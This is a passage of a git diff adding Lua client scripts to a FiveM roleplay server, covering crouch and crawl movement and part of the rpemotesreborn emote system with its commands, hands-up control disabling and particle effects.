AttemptCrouch(playerPed) + if CanPlayerCrouchCrawl(playerPed) and IsPedHuman(playerPed) then + StartCrouch() + return true + else + return false + end +end + +---Disables a control until it's key has been released +---@param padIndex integer +---@param control integer +local function DisableControlUntilReleased(padIndex, control) + CreateThread(function() + while IsDisabledControlPressed(padIndex, control) do + DisableControlAction(padIndex, control, true) + Wait(0) + end + end) +end + +-- Called when the crouch key is pressed +local function CrouchKeyPressed() + -- If we already are doing something, then don't continue + if inAction then + return + end + + -- If crouched then stop crouching + if isCrouched then + isCrouched = false + local crouchKey = GetControlInstructionalButton(0, `+crouch` | 0x80000000, false) + local lookBehindKey = GetControlInstructionalButton(0, 26, false) + + -- Disable look behind if the crouch and look behind keys are the same + if crouchKey == lookBehindKey then + DisableControlUntilReleased(0, 26) -- INPUT_LOOK_BEHIND + end + + return + end + + -- Get the player ped + local playerPed = PlayerPedId() + + -- Check if we can actually crouch and check if we are an animal + if not CanPlayerCrouchCrawl(playerPed) or not IsPedHuman(playerPed) then + return + end + + if Config.CrouchOverride then + DisableControlAction(0, 36, true) -- Disable INPUT_DUCK this frame + else + -- Get +crouch, INPUT_DUCK and INPUT_LOOK_BEHIND keys + local crouchKey = GetControlInstructionalButton(0, `+crouch` | 0x80000000, false) + local duckKey = GetControlInstructionalButton(0, 36, false) + local lookBehindKey = GetControlInstructionalButton(0, 26, false) + + -- Disable look behind if the crouch and look behind keys are the same + if crouchKey == lookBehindKey then + DisableControlUntilReleased(0, 26) -- INPUT_LOOK_BEHIND + end + + -- If they are the same and we aren't prone, then check if we are in stealth mode and how long ago the last button press was. + if crouchKey == duckKey and not IsProne then + local timer = GetGameTimer() + + -- If we are in stealth mode and we have already pressed the button in the last second + if GetPedStealthMovement(playerPed) == 1 and timer - lastKeyPress < 1000 then + DisableControlAction(0, 36, true) -- Disable INPUT_DUCK this frame + lastKeyPress = 0 + else + lastKeyPress = timer + return + end + end + end + + -- Start to crouch + StartCrouch() + + -- If we are prone play an animation from prone to crouch + if IsProne then + inAction = true + IsProne = false + PlayAnimOnce(playerPed, "get_up@directional@transition@prone_to_knees@crawl", "front", nil, nil, 780) + Wait(780) + inAction = false + end +end + + +-- Crawling -- +local function ShouldPlayerDiveToCrawl(playerPed) + if IsPedRunning(playerPed) or IsPedSprinting(playerPed) then + return true + end + + return false +end + +local function PlayIdleCrawlAnim(playerPed, heading, blendInSpeed) + local playerCoords = GetEntityCoords(playerPed) + TaskPlayAnimAdvanced(playerPed, "move_crawl", proneType.."_fwd", playerCoords.x, playerCoords.y, playerCoords.z, 0.0, 0.0, heading or GetEntityHeading(playerPed), blendInSpeed or 2.0, 2.0, -1, 2, 1.0, false, false) +end + +local function PlayExitCrawlAnims(forceEnd) + if not forceEnd then + inAction = true + local playerPed = PlayerPedId() + + if proneType == "onfront" then + PlayAnimOnce(playerPed, "get_up@directional@transition@prone_to_knees@crawl", "front", nil, nil, 780) + + -- Only stand fully up if we are not crouching + if not isCrouched then + Wait(780) + PlayAnimOnce(playerPed, "get_up@directional@movement@from_knees@standard", "getup_l_0", nil, nil, 1300) + end + else + PlayAnimOnce(playerPed, "get_up@directional@transition@prone_to_seated@crawl", "back", 16.0, nil, 950) + + -- Only stand fully up if we are not crouching + if not isCrouched then + Wait(950) + PlayAnimOnce(playerPed, "get_up@directional@movement@from_seated@standard", "get_up_l_0", nil, nil, 1300) + end + end + end +end + +local function Crawl(playerPed, type, direction) + isCrawling = true + + TaskPlayAnim(playerPed, "move_crawl", type.."_"..direction, 8.0, -8.0, -1, 2, 0.0, false, false, false) + + local time = { + ["onfront"] = { + ["fwd"] = 820, + ["bwd"] = 990 + }, + ["onback"] = { + ["fwd"] = 1200, + ["bwd"] = 1200 + } + } + + SetTimeout(time[type][direction], function() + isCrawling = false + end) +end + +local function CrawlFlip(playerPed) + inAction = true + local heading = GetEntityHeading(playerPed) + + if proneType == "onfront" then + proneType = "onback" + + PlayAnimOnce(playerPed, "get_up@directional_sweep@combat@pistol@front", "front_to_prone", 2.0) + ChangeHeadingSmooth(playerPed, -18.0, 3600) + else + proneType = "onfront" + + PlayAnimOnce(playerPed, "move_crawlprone2crawlfront", "back", 2.0, nil, -1) + ChangeHeadingSmooth(playerPed, 12.0, 1700) + end + + PlayIdleCrawlAnim(playerPed, heading + 180.0) + Wait(400) + inAction = false +end + +local function CrawlThread() + CreateThread(function() + Wait(400) + + local forceEnd = false + + while IsProne do + local playerPed = PlayerPedId() + + -- Checks if the player is falling, in vehicle, dead etc. + if not CanPlayerCrouchCrawl(playerPed) or IsEntityInWater(playerPed) then + ClearPedTasks(playerPed) + IsProne = false + forceEnd = true + break + end + + -- Handles forwad/backward movement + local forward, backwards = IsControlPressed(0, 32), IsControlPressed(0, 33) -- INPUT_MOVE_UP_ONLY, INPUT_MOVE_DOWN_ONLY + if not isCrawling then + if forward then -- Forward + Crawl(playerPed, proneType, "fwd") + elseif backwards then -- Back + Crawl(playerPed, proneType, "bwd") + end + end + + -- Moving left/right + if IsControlPressed(0, 34) then -- INPUT_MOVE_LEFT_ONLY + if isCrawling then + local headingDiff = forward and 1.0 or -1.0 + SetEntityHeading(playerPed, GetEntityHeading(playerPed) + headingDiff) + else + inAction = true + if proneType == "onfront" then + local playerCoords = GetEntityCoords(playerPed) + TaskPlayAnimAdvanced(playerPed, "move_crawlprone2crawlfront", "left", playerCoords.x, playerCoords.y, playerCoords.z, 0.0, 0.0, GetEntityHeading(playerPed), 2.0, 2.0, -1, 2, 0.1, false, false) + ChangeHeadingSmooth(playerPed, -10.0, 300) + Wait(700) + else + PlayAnimOnce(playerPed, "get_up@directional_sweep@combat@pistol@left", "left_to_prone") + ChangeHeadingSmooth(playerPed, 25.0, 400) + PlayIdleCrawlAnim(playerPed) + Wait(600) + end + inAction = false + end + elseif IsControlPressed(0, 35) then -- INPUT_MOVE_RIGHT_ONLY + if isCrawling then + local headingDiff = backwards and 1.0 or -1.0 + SetEntityHeading(playerPed, GetEntityHeading(playerPed) + headingDiff) + else + inAction = true + if proneType == "onfront" then + local playerCoords = GetEntityCoords(playerPed) + TaskPlayAnimAdvanced(playerPed, "move_crawlprone2crawlfront", "right", playerCoords.x, playerCoords.y, playerCoords.z, 0.0, 0.0, GetEntityHeading(playerPed), 2.0, 2.0, -1, 2, 0.1, false, false) + ChangeHeadingSmooth(playerPed, 10.0, 300) + Wait(700) + else + PlayAnimOnce(playerPed, "get_up@directional_sweep@combat@pistol@right", "right_to_prone") + ChangeHeadingSmooth(playerPed, -25.0, 400) + PlayIdleCrawlAnim(playerPed) + Wait(600) + end + inAction = false + end + end + + -- Flipping around + if not isCrawling then + if IsControlPressed(0, 22) then -- INPUT_JUMP + CrawlFlip(playerPed) + end + end + + Wait(0) + end + + -- If the crawling wasn't forcefully ended, then play the get up animations + PlayExitCrawlAnims(forceEnd) + + -- Reset variabels + isCrawling = false + inAction = false + proneType = "onfront" + SetPedConfigFlag(PlayerPedId(), 48, false) -- CPED_CONFIG_FLAG_BlockWeaponSwitching + + -- Unload animation dictionaries + RemoveAnimDict("move_crawl") + RemoveAnimDict("move_crawlprone2crawlfront") + end) +end + +local function CrawlKeyPressed() + -- If we already are doing something, then don't continue + if inAction then + return + end + + -- Don't start/stop to crawl if we are in the pause menu + if IsPauseMenuActive() then + return + end + + -- If already prone, then stop + if IsProne then + IsProne = false + return + end + + -- If we are playing an animation, then cancel it first + if IsInAnimation then + EmoteCancel() + end + + -- If we are crouching we should stop that first + local wasCrouched = false + if isCrouched then + isCrouched = false + wasCrouched = true + end + + local playerPed = PlayerPedId() + if not CanPlayerCrouchCrawl(playerPed) or IsEntityInWater(playerPed) or not IsPedHuman(playerPed) then + return + end + + inAction = true + + -- If we are pointing then stop pointing + if Pointing then + Pointing = false + end + + if InHandsup then + return + end + + if isInActionWithErrorMessage({['IsProne'] = true}) then + return + end + + IsProne = true + SetPedConfigFlag(playerPed, 48, true) -- CPED_CONFIG_FLAG_BlockWeaponSwitching + + -- Force leave stealth mode + if GetPedStealthMovement(playerPed) == 1 then + SetPedStealthMovement(playerPed, false, "DEFAULT_ACTION") + Wait(100) + end + + -- Load animations that the crawling is going to use + LoadAnim("move_crawl") + LoadAnim("move_crawlprone2crawlfront") + + if ShouldPlayerDiveToCrawl(playerPed) then + PlayAnimOnce(playerPed, "explosions", "react_blown_forwards", nil, 3.0) + Wait(1100) + elseif wasCrouched then + PlayAnimOnce(playerPed, "amb@world_human_sunbathe@male@front@enter", "enter", nil, nil, -1, 0.3) + Wait(1500) + else + PlayAnimOnce(playerPed, "amb@world_human_sunbathe@male@front@enter", "enter") + Wait(3000) + end + + -- Set the player into the idle position (but only if we can still crawl) + if CanPlayerCrouchCrawl(playerPed) and not IsEntityInWater(playerPed) then + PlayIdleCrawlAnim(playerPed, nil, 3.0) + end + inAction = false + + CrawlThread() +end + + +-- Commands & KeyMapping -- +if Config.CrouchEnabled then + if Config.CrouchKeybindEnabled then + RegisterKeyMapping('+crouch', Translate('crouch'), "keyboard", Config.CrouchKeybind) + RegisterCommand('+crouch', function() CrouchKeyPressed() end, false) + RegisterCommand('-crouch', function() end, false) -- This needs to be here to prevent errors/warnings + end + RegisterCommand('crouch', function() + if isCrouched then + isCrouched = false + return + end + + AttemptCrouch(PlayerPedId()) + end, false) + TriggerEvent('chat:addSuggestion', '/crouch', 'Crouch') +end + +if Config.CrawlEnabled then + if Config.CrawlKeybindEnabled then + RegisterKeyMapping('crawl', Translate('crawl'), "keyboard", Config.CrawlKeybind) + end + RegisterCommand('crawl', function() CrawlKeyPressed() end, false) +end + + +-- Exports -- +-- Returns whether or not the player is crouched +local function IsPlayerCrouched() + return isCrouched +end + +-- Returns if the player is prone (both when laying still and when moving) +local function IsPlayerProne() + return IsProne +end + +-- Returns if the player is crawling (only when moving forward/backwards) +local function IsPlayerCrawling() + return isCrawling +end + +exports('IsPlayerCrouched', IsPlayerCrouched) +exports('IsPlayerProne', IsPlayerProne) +exports('IsPlayerCrawling', IsPlayerCrawling) diff --git a/resources/rpemotesreborn1.6.0/client/Emote.lua b/resources/rpemotesreborn1.6.0/client/Emote.lua new file mode 100644 index 000000000..df673646e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/Emote.lua @@ -0,0 +1,1351 @@ +-- You probably shouldn't touch these. +local AnimationDuration = -1 +local ChosenAnimation = "" +local ChosenDict = "" +local ChosenAnimOptions = false +local MovementType = 0 +local PlayerGender = "male" +local PedHasProp = false +local PlayerHasProp = false +local PlayerProps = {} +local PlayerParticles = {} +local PreviewPedProps = {} +local SecondPropEmote = false +local lang = Config.MenuLanguage +local PtfxNotif = false +local PtfxPrompt = false +local PtfxWait = 500 +local PtfxCanHold = false +local PtfxNoProp = false +local AnimationThreadStatus = false +local CheckStatus = false +local CanCancel = true +local InExitEmote = false +local ExitAndPlay = false +local EmoteCancelPlaying = false +IsInAnimation = false +CurrentAnimationName = nil +CurrentTextureVariation = nil +InHandsup = false +CurrentExportEmote = nil + +-- Remove emotes if needed + +local emoteTypes = { + "Shared", + "Dances", + "AnimalEmotes", + "Emotes", + "PropEmotes", +} + +for i = 1, #emoteTypes do + local emoteType = emoteTypes[i] + for emoteName, emoteData in pairs(RP[emoteType]) do + local shouldRemove = false + if Config.AdultEmotesDisabled and emoteData.AdultAnimation then shouldRemove = true end + if emoteData[1] and not ((emoteData[1] == 'Scenario') or (emoteData[1] == 'ScenarioObject') or (emoteData[1] == 'MaleScenario')) and not DoesAnimDictExist(emoteData[1]) then shouldRemove = true end + if shouldRemove then RP[emoteType][emoteName] = nil end + end +end + +local function RunAnimationThread() + local playerId = PlayerPedId() + if AnimationThreadStatus then return end + AnimationThreadStatus = true + CreateThread(function() + local sleep + while AnimationThreadStatus and (IsInAnimation or PtfxPrompt) do + sleep = 500 + + if IsInAnimation then + sleep = 0 + if IsPlayerAiming(playerId) then + EmoteCancel() + end + if not Config.AllowPunching then + DisableControlAction(2, 140, true) + DisableControlAction(2, 141, true) + DisableControlAction(2, 142, true) + end + end + + if PtfxPrompt then + sleep = 0 + if not PtfxNotif then + SimpleNotify(PtfxInfo) + PtfxNotif = true + end + if IsControlPressed(0, 47) then + PtfxStart() + Wait(PtfxWait) + if PtfxCanHold then + while IsControlPressed(0, 47) and IsInAnimation and AnimationThreadStatus do + Wait(5) + end + end + PtfxStop() + end + end + + Wait(sleep) + end + end) +end + +local function CheckStatusThread(dict, anim) + CreateThread(function() + if CheckStatus then + CheckStatus = false + Wait(10) + end + CheckStatus = true + while not IsEntityPlayingAnim(PlayerPedId(), dict, anim, 3) do + Wait(5) + end + while CheckStatus and IsInAnimation do + if not IsEntityPlayingAnim(PlayerPedId(), dict, anim, 3) then + DebugPrint("Animation ended") + DestroyAllProps() + EmoteCancel() + break + end + Wait(0) + end + end) +end + +if Config.EnableCancelKeybind then + RegisterKeyMapping("emotecancel", Translate('register_cancel_emote'), "keyboard", Config.CancelEmoteKey) +end + +----------------------------------------------------------------------------------------------------- +-- Commands / Events -------------------------------------------------------------------------------- +----------------------------------------------------------------------------------------------------- + +CreateThread(function() + TriggerEvent('chat:addSuggestion', '/e', Translate('play_emote'), + { { name = "emotename", help = Translate('help_command') }, + { name = "texturevariation", help = Translate('help_variation') } }) + TriggerEvent('chat:addSuggestion', '/emote', Translate('play_emote'), + { { name = "emotename", help = Translate('help_command') }, + { name = "texturevariation", help = Translate('help_variation') } }) + if Config.SqlKeybinding then + TriggerEvent('chat:addSuggestion', '/emotebind', Translate('link_emote_keybind'), + { { name = "key", help = "num4, num5, num6, num7. num8, num9. Numpad 4-9!" }, + { name = "emotename", help = Translate('help_command') } }) + TriggerEvent('chat:addSuggestion', '/emotebinds', Translate('show_emote_keybind')) + TriggerEvent('chat:addSuggestion', '/emotedelete', Translate('remove_emote_keybind'), {{ name="key", help="num4, num5, num6, num7. num8, num9. Numpad 4-9!"}}) + end + TriggerEvent('chat:addSuggestion', '/emotemenu', Translate('open_menu_emote')) + TriggerEvent('chat:addSuggestion', '/emotes', Translate('show_list_emote')) + TriggerEvent('chat:addSuggestion', '/emotecancel', Translate('register_cancel_emote')) +end) + +RegisterCommand('e', function(source, args, raw) EmoteCommandStart(source, args, raw) end, false) +RegisterCommand('emote', function(source, args, raw) EmoteCommandStart(source, args, raw) end, false) +if Config.SqlKeybinding then + RegisterCommand('emotebind', function(source, args, raw) EmoteBindStart(source, args, raw) end, false) + RegisterCommand('emotebinds', function(source, args, raw) EmoteBindsStart() end, false) + RegisterCommand('emotedelete', function(source, args) DeleteEmote(source, args) end, false) +end +if Config.MenuKeybindEnabled then + RegisterCommand('emoteui', function() OpenEmoteMenu() end, false) + RegisterKeyMapping("emoteui", Translate("register_open_menu"), "keyboard", Config.MenuKeybind) +else + RegisterCommand('emotemenu', function() OpenEmoteMenu() end, false) +end +RegisterCommand('emotes', function() EmotesOnCommand() end, false) +RegisterCommand('emotecancel', function() EmoteCancel() end, false) + +local disableHandsupControls = { + +--- On Foot Controls + + [36] = true, -- INPUT_DUCK + [44] = true, -- INPUT_COVER + + +--- Vehicle Controls - Car + + + [59] = true, -- INPUT_VEH_MOVE_LR + [60] = true, -- INPUT_VEH_MOVE_UD + [61] = true, -- INPUT_VEH_MOVE_UP_ONLY + [62] = true, -- INPUT_VEH_MOVE_DOWN_ONLY + [63] = true, -- INPUT_VEH_MOVE_LEFT_ONLY + [64] = true, -- INPUT_VEH_MOVE_RIGHT_ONLY + [65] = true, -- INPUT_VEH_SPECIAL + [66] = true, -- INPUT_VEH_GUN_LR + [67] = true, -- INPUT_VEH_GUN_UD + [69] = true, -- INPUT_VEH_ATTACK + [70] = true, -- INPUT_VEH_ATTACK2 + [71] = true, -- INPUT_VEH_ACCELERATE + [72] = true, -- INPUT_VEH_BRAKE + [73] = true, -- INPUT_VEH_DUCK + [74] = true, -- INPUT_VEH_HEADLIGHT + [77] = true, -- INPUT_VEH_HOTWIRE_LEFT + [78] = true, -- INPUT_VEH_HOTWIRE_RIGHT + [80] = true, -- INPUT_VEH_CIN_CAM + [91] = true, -- INPUT_VEH_PASSENGER_AIM + [53] = true, -- INPUT_WEAPON_SPECIAL + [54] = true, -- INPUT_WEAPON_SPECIAL_TWO + +--- We need these enabled as the weapon and radio wheel are tied together, and I want players to be able to defend themselves + -- [81] = true, -- INPUT_VEH_NEXT_RADIO +-- [82] = false, -- INPUT_VEH_PREV_RADIO +-- [83] = true, -- INPUT_VEH_NEXT_RADIO_TRACK +-- [84] = true, -- INPUT_VEH_PREV_RADIO_TRACK +-- [85] = true, -- INPUT_VEH_RADIO_WHEEL + + [86] = true, -- INPUT_VEH_HORN + [102] = true, -- INPUT_VEH_JUMP + [104] = true, -- INPUT_VEH_SHUFFLE + [105] = true, -- INPUT_VEH_DROP_PROJECTILE + [337] = true, -- INPUT_VEH_HYDRAULICS_CONTROL_TOGGLE + [338] = true, -- INPUT_VEH_HYDRAULICS_CONTROL_LEFT + [339] = true, -- INPUT_VEH_HYDRAULICS_CONTROL_RIGHT + [340] = true, -- INPUT_VEH_HYDRAULICS_CONTROL_UP + [341] = true, -- INPUT_VEH_HYDRAULICS_CONTROL_DOWN + [342] = true, -- INPUT_VEH_HYDRAULICS_CONTROL_UD + [343] = true, -- INPUT_VEH_HYDRAULICS_CONTROL_LR + [351] = true, -- INPUT_VEH_ROCKET_BOOST + [354] = true, -- INPUT_VEH_BIKE_WINGS + [357] = true, -- INPUT_VEH_TRANSFORM + + +-- Vehicle Controls - Bicycle / Motorcycle + + [136] = true, -- INPUT_VEH_PUSHBIKE_PEDAL + [137] = true, -- INPUT_VEH_PUSHBIKE_SPRINT + [139] = true, -- INPUT_VEH_PUSHBIKE_REAR_BRAKE + [140] = true, -- INPUT_MELEE_ATTACK_LIGHT + [141] = true, -- INPUT_MELEE_ATTACK_HEAVY + [142] = true, -- INPUT_MELEE_ATTACK_ALTERNATE + +-- We disable the following, as the hands up animation on a bicycle / motorcycle looks broken and therefore meele does not work correctly. Perhaps we can fix this later? +-- Players can however meele attack with a weapon + + [143] = true, -- INPUT_MELEE_BLOCK + [345] = true, -- INPUT_VEH_MELEE_HOLD + [346] = true, -- INPUT_VEH_MELEE_LEFT + [347] = true, -- INPUT_VEH_MELEE_RIGHT + + + +} + +local playerId = PlayerId() + +local function HandsUpLoop() + CreateThread(function() + while InHandsup do + if disableHandsupControls then + for control, state in pairs(disableHandsupControls) do + DisableControlAction(0, control, state) + end + end + + if IsPlayerAiming(playerId) then + ClearPedSecondaryTask(PlayerPedId()) + CreateThread(function() + Wait(350) + InHandsup = false + end) + end + + Wait(0) + end + end) +end + +if Config.HandsupEnabled then + RegisterCommand('handsup', function() + if IsPedInAnyVehicle(PlayerPedId(), false) and not Config.HandsupKeybindInCarEnabled and not InHandsup then + return + end + + Handsup() + end, false) + + function Handsup() + local playerPed = PlayerPedId() + if not IsPedHuman(playerPed) then + return + end + if isInActionWithErrorMessage() then + return + end + + InHandsup = not InHandsup + if InHandsup then + CurrentExportEmote = 'handsup' + DestroyAllProps() + local dict = "random@mugging3" + RequestAnimDict(dict) + while not HasAnimDictLoaded(dict) do + Wait(0) + end + TaskPlayAnim(PlayerPedId(), dict, "handsup_standing_base", 3.0, 3.0, -1, 49, 0, false, IsThisModelABike(GetEntityModel(GetVehiclePedIsIn(PlayerPedId(), false))) and 4127 or false, false) + HandsUpLoop() + else + CurrentExportEmote = nil + ClearPedSecondaryTask(PlayerPedId()) + if Config.PersistentEmoteAfterHandsup and IsInAnimation then + local emote = RP.Emotes[CurrentAnimationName] + if not emote then + emote = RP.PropEmotes[CurrentAnimationName] + end + + if not emote then + return + end + + emote.name = CurrentAnimationName + + ClearPedSecondaryTask(PlayerPedId()) + Wait(400) + DestroyAllProps() + OnEmotePlay(emote, emote.name, CurrentTextureVariation) + end + end + end + + TriggerEvent('chat:addSuggestion', '/handsup', Translate('handsup')) + + if Config.HandsupKeybindEnabled then + RegisterKeyMapping("handsup", Translate('handsup'), "keyboard", Config.HandsupKeybind) + end + + local function IsPlayerInHandsUp() + return InHandsup + end + + exports('IsPlayerInHandsUp', IsPlayerInHandsUp) +end + +AddEventHandler('onResourceStop', function(resource) + if resource == GetCurrentResourceName() then + local ply = PlayerPedId() + ClosePedMenu() + DestroyAllProps() + ClearPedTasksImmediately(ply) + DetachEntity(ply, true, false) + ResetPedMovementClipset(ply, 0.8) + AnimationThreadStatus = false + end +end) + +----------------------------------------------------------------------------------------------------- +------ Functions and stuff -------------------------------------------------------------------------- +----------------------------------------------------------------------------------------------------- +local scenarioObjects = { + `p_amb_coffeecup_01`, + `p_amb_joint_01`, + `p_cs_ciggy_01`, + `p_cs_ciggy_01b_s`, + `p_cs_clipboard`, + `prop_curl_bar_01`, + `p_cs_joint_01`, + `p_cs_joint_02`, + `prop_acc_guitar_01`, + `prop_amb_ciggy_01`, + `prop_amb_phone`, + `prop_beggers_sign_01`, + `prop_beggers_sign_02`, + `prop_beggers_sign_03`, + `prop_beggers_sign_04`, + `prop_bongos_01`, + `prop_cigar_01`, + `prop_cigar_02`, + `prop_cigar_03`, + `prop_cs_beer_bot_40oz_02`, + `prop_cs_paper_cup`, + `prop_cs_trowel`, + `prop_fib_clipboard`, + `prop_fish_slice_01`, + `prop_fishing_rod_01`, + `prop_fishing_rod_02`, + `prop_notepad_02`, + `prop_parking_wand_01`, + `prop_rag_01`, + `prop_scn_police_torch`, + `prop_sh_cigar_01`, + `prop_sh_joint_01`, + `prop_tool_broom`, + `prop_tool_hammer`, + `prop_tool_jackham`, + `prop_tennis_rack_01`, + `prop_weld_torch`, + `w_me_gclub`, + `p_amb_clipboard_01` +} + +function EmoteCancel(force) + local playerPed = PlayerPedId() + local playerCoords = GetEntityCoords(playerPed) + + for i = 1, #scenarioObjects do + local deleteScenarioObject = GetClosestObjectOfType(playerCoords.x, playerCoords.y, playerCoords.z, 1.0, scenarioObjects[i], false, true ,true) + if DoesEntityExist(deleteScenarioObject) then + SetEntityAsMissionEntity(deleteScenarioObject, false, false) + DeleteObject(deleteScenarioObject) + end + end + + CurrentExportEmote = nil + EmoteCancelPlaying = true + -- Don't cancel if we are in an exit emote + if InExitEmote then + return + end + + local ply = PlayerPedId() + if not CanCancel and force ~= true then return end + if ChosenDict == "MaleScenario" and IsInAnimation then + ClearPedTasksImmediately(ply) + IsInAnimation = false + DebugPrint("Forced scenario exit") + elseif ChosenDict == "Scenario" and IsInAnimation then + ClearPedTasksImmediately(ply) + IsInAnimation = false + DebugPrint("Forced scenario exit") + end + + PtfxNotif = false + PtfxPrompt = false + Pointing = false + + if IsInAnimation then + if LocalPlayer.state.ptfx then + PtfxStop() + end + DetachEntity(ply, true, false) + CancelSharedEmote(ply) + + if ChosenAnimOptions and ChosenAnimOptions.ExitEmote then + -- If the emote exit type is not specified, it defaults to Emotes + local options = ChosenAnimOptions + local ExitEmoteType = options.ExitEmoteType or "Emotes" + + -- Checks that the exit emote actually exists + if not RP[ExitEmoteType] or not RP[ExitEmoteType][options.ExitEmote] then + DebugPrint("Exit emote was invalid") + IsInAnimation = false + ClearPedTasks(ply) + return + end + OnEmotePlay(RP[ExitEmoteType][options.ExitEmote], ExitEmoteType) + DebugPrint("Playing exit animation") + + -- Check that the exit emote has a duration, and if so, set InExitEmote variable + local animationOptions = RP[ExitEmoteType][options.ExitEmote].AnimationOptions + if animationOptions and animationOptions.EmoteDuration then + InExitEmote = true + SetTimeout(animationOptions.EmoteDuration, function() + InExitEmote = false + DestroyAllProps() + ClearPedTasks(ply) + EmoteCancelPlaying = false + end) + return + end + else + IsInAnimation = false + ClearPedTasks(ply) + EmoteCancelPlaying = false + end + DestroyAllProps() + end + AnimationThreadStatus = false + CheckStatus = false +end + +--#region ptfx +function PtfxThis(asset) + while not HasNamedPtfxAssetLoaded(asset) do + RequestNamedPtfxAsset(asset) + Wait(10) + end + UseParticleFxAsset(asset) +end + +function PtfxStart() + LocalPlayer.state:set('ptfx', true, true) +end + +function PtfxStop() + LocalPlayer.state:set('ptfx', false, true) +end + +AddStateBagChangeHandler('ptfx', nil, function(bagName, key, value, _unused, replicated) + local plyId = tonumber(bagName:gsub('player:', ''), 10) + + -- We stop here if we don't need to go further + -- We don't need to start or stop the ptfx twice + if (PlayerParticles[plyId] and value) or (not PlayerParticles[plyId] and not value) then return end + + -- Only allow ptfx change on players + local ply = GetPlayerFromServerId(plyId) + if ply == 0 then return end + + local plyPed = GetPlayerPed(ply) + if not DoesEntityExist(plyPed) then return end + + local stateBag = Player(plyId).state + + if value then + -- Start ptfx + + local asset = stateBag.ptfxAsset + local name = stateBag.ptfxName + local offset = stateBag.ptfxOffset + local rot = stateBag.ptfxRot + local boneIndex = stateBag.ptfxBone and GetPedBoneIndex(plyPed, stateBag.ptfxBone) or GetEntityBoneIndexByName(name, "VFX") + local scale = stateBag.ptfxScale or 1 + local color = stateBag.ptfxColor + local propNet = stateBag.ptfxPropNet + local entityTarget = plyPed + -- Only do for valid obj + if propNet then + local propObj = NetToObj(propNet) + if DoesEntityExist(propObj) then + entityTarget = propObj + end + end + PtfxThis(asset) + PlayerParticles[plyId] = StartNetworkedParticleFxLoopedOnEntityBone(name, entityTarget, offset.x, offset.y, offset.z, rot.x, rot.y, rot.z, boneIndex, scale + 0.0, false, false, false) + if color then + if color[1] and type(color[1]) == 'table' then + local randomIndex = math.random(1, #color) + color = color[randomIndex] + end + SetParticleFxLoopedAlpha(PlayerParticles[plyId], color.A) + SetParticleFxLoopedColour(PlayerParticles[plyId], color.R / 255, color.G / 255, color.B / 255, false) + end + DebugPrint("Started PTFX: " .. PlayerParticles[plyId]) + else + -- Stop ptfx + DebugPrint("Stopped PTFX: " .. PlayerParticles[plyId]) + StopParticleFxLooped(PlayerParticles[plyId], false) + RemoveNamedPtfxAsset(stateBag.ptfxAsset) + PlayerParticles[plyId] = nil + end +end) +--#endregion ptfx + +function EmotesOnCommand(source, args, raw) + local EmotesCommand = "" + for a in pairsByKeys(RP.Emotes) do + EmotesCommand = EmotesCommand .. "" .. a .. ", " + end + EmoteChatMessage(EmotesCommand) + EmoteChatMessage(Translate('emotemenucmd')) +end + +function EmoteMenuStart(args, hard, textureVariation) -- DEV + local name = args + local etype = hard + + if etype == "dances" then + if RP.Dances[name] ~= nil then + OnEmotePlay(RP.Dances[name], name) + end + elseif etype == "animals" then + if RP.AnimalEmotes[name] ~= nil then + CheckAnimalAndOnEmotePlay(RP.AnimalEmotes[name], name) + end + elseif etype == "props" then + if RP.PropEmotes[name] ~= nil then + OnEmotePlay(RP.PropEmotes[name], name, textureVariation) + end + elseif etype == "emotes" then + if RP.Emotes[name] ~= nil then + OnEmotePlay(RP.Emotes[name], name) + end + elseif etype == "expression" then + if RP.Expressions[name] ~= nil then + SetPlayerPedExpression(RP.Expressions[name][1], true) + end + end +end + +function EmoteMenuStartPed(args, hard, textureVariation) -- DEV + local name = args + local etype = hard + + if etype == "dances" then + if RP.Dances[name] ~= nil then + OnEmotePlayPed(RP.Dances[name], name) + end + elseif etype == "props" then + if RP.PropEmotes[name] ~= nil then + OnEmotePlayPed(RP.PropEmotes[name], name, textureVariation) + end + elseif etype == "emotes" then + if RP.Emotes[name] ~= nil then + OnEmotePlayPed(RP.Emotes[name], name) + end + elseif etype == "expression" then + if RP.Expressions[name] ~= nil then + SetPlayerPedExpression_Preview(RP.Expressions[name][1], true) + end + end +end + +function EmoteCommandStart(source, args, raw) + if #args > 0 then + if IsEntityDead(PlayerPedId()) or IsPedRagdoll(PlayerPedId()) or IsPedGettingUp(PlayerPedId()) or IsPedInMeleeCombat(PlayerPedId()) then + TriggerEvent('chat:addMessage', { + color = {255, 0, 0}, + multiline = true, + args = {"RPEmotes", Translate('dead')} + }) + return + end + if (IsPedSwimming(PlayerPedId()) or IsPedSwimmingUnderWater(PlayerPedId())) and not Config.AllowInWater then + TriggerEvent('chat:addMessage', { + color = {255, 0, 0}, + multiline = true, + args = {"RPEmotes", Translate('swimming')} + }) + return + end + local name = string.lower(args[1]) + if name == "c" then + if IsInAnimation then + EmoteCancel() + else + EmoteChatMessage(Translate('nocancel')) + end + return + elseif name == "help" then + EmotesOnCommand() + return + end + + if RP.Emotes[name] ~= nil then + OnEmotePlay(RP.Emotes[name], name) + return + elseif RP.Dances[name] ~= nil then + OnEmotePlay(RP.Dances[name], name) + return + elseif RP.AnimalEmotes[name] ~= nil then + if Config.AnimalEmotesEnabled then + CheckAnimalAndOnEmotePlay(RP.AnimalEmotes[name], name) + return + else + EmoteChatMessage(Translate('animaldisabled')) + return + end + elseif RP.Exits[name] ~= nil then + OnEmotePlay(RP.Exits[name], name) + return + elseif RP.PropEmotes[name] ~= nil then + if RP.PropEmotes[name].AnimationOptions.PropTextureVariations then + if #args > 1 then + local textureVariation = tonumber(args[2]) + if (RP.PropEmotes[name].AnimationOptions.PropTextureVariations[textureVariation] ~= nil) then + OnEmotePlay(RP.PropEmotes[name], name, textureVariation - 1) + return + else + local str = "" + for k, v in ipairs(RP.PropEmotes[name].AnimationOptions.PropTextureVariations) do + str = str .. string.format("\n(%s) - %s", k, v.Name) + end + + EmoteChatMessage(string.format(Translate('invalidvariation'), str), true) + OnEmotePlay(RP.PropEmotes[name], name, 0) + return + end + end + end + OnEmotePlay(RP.PropEmotes[name], name) + return + else + EmoteChatMessage("'" .. name .. "' " .. Translate('notvalidemote') .. "") + end + end +end + +function CheckAnimalAndOnEmotePlay(EmoteName, name) + -- if the name string starts with "bdog" and the current ped is in the BigDog list, play the emote + if string.sub(name, 1, 4) == "bdog" then + for i = 1, #BigDogs do + if IsPedModel(PlayerPedId(), GetHashKey(BigDogs[i])) then + OnEmotePlay(EmoteName, name) + return + end + end + EmoteChatMessage(Translate('notvalidpet')) + elseif string.sub(name, 1, 4) == 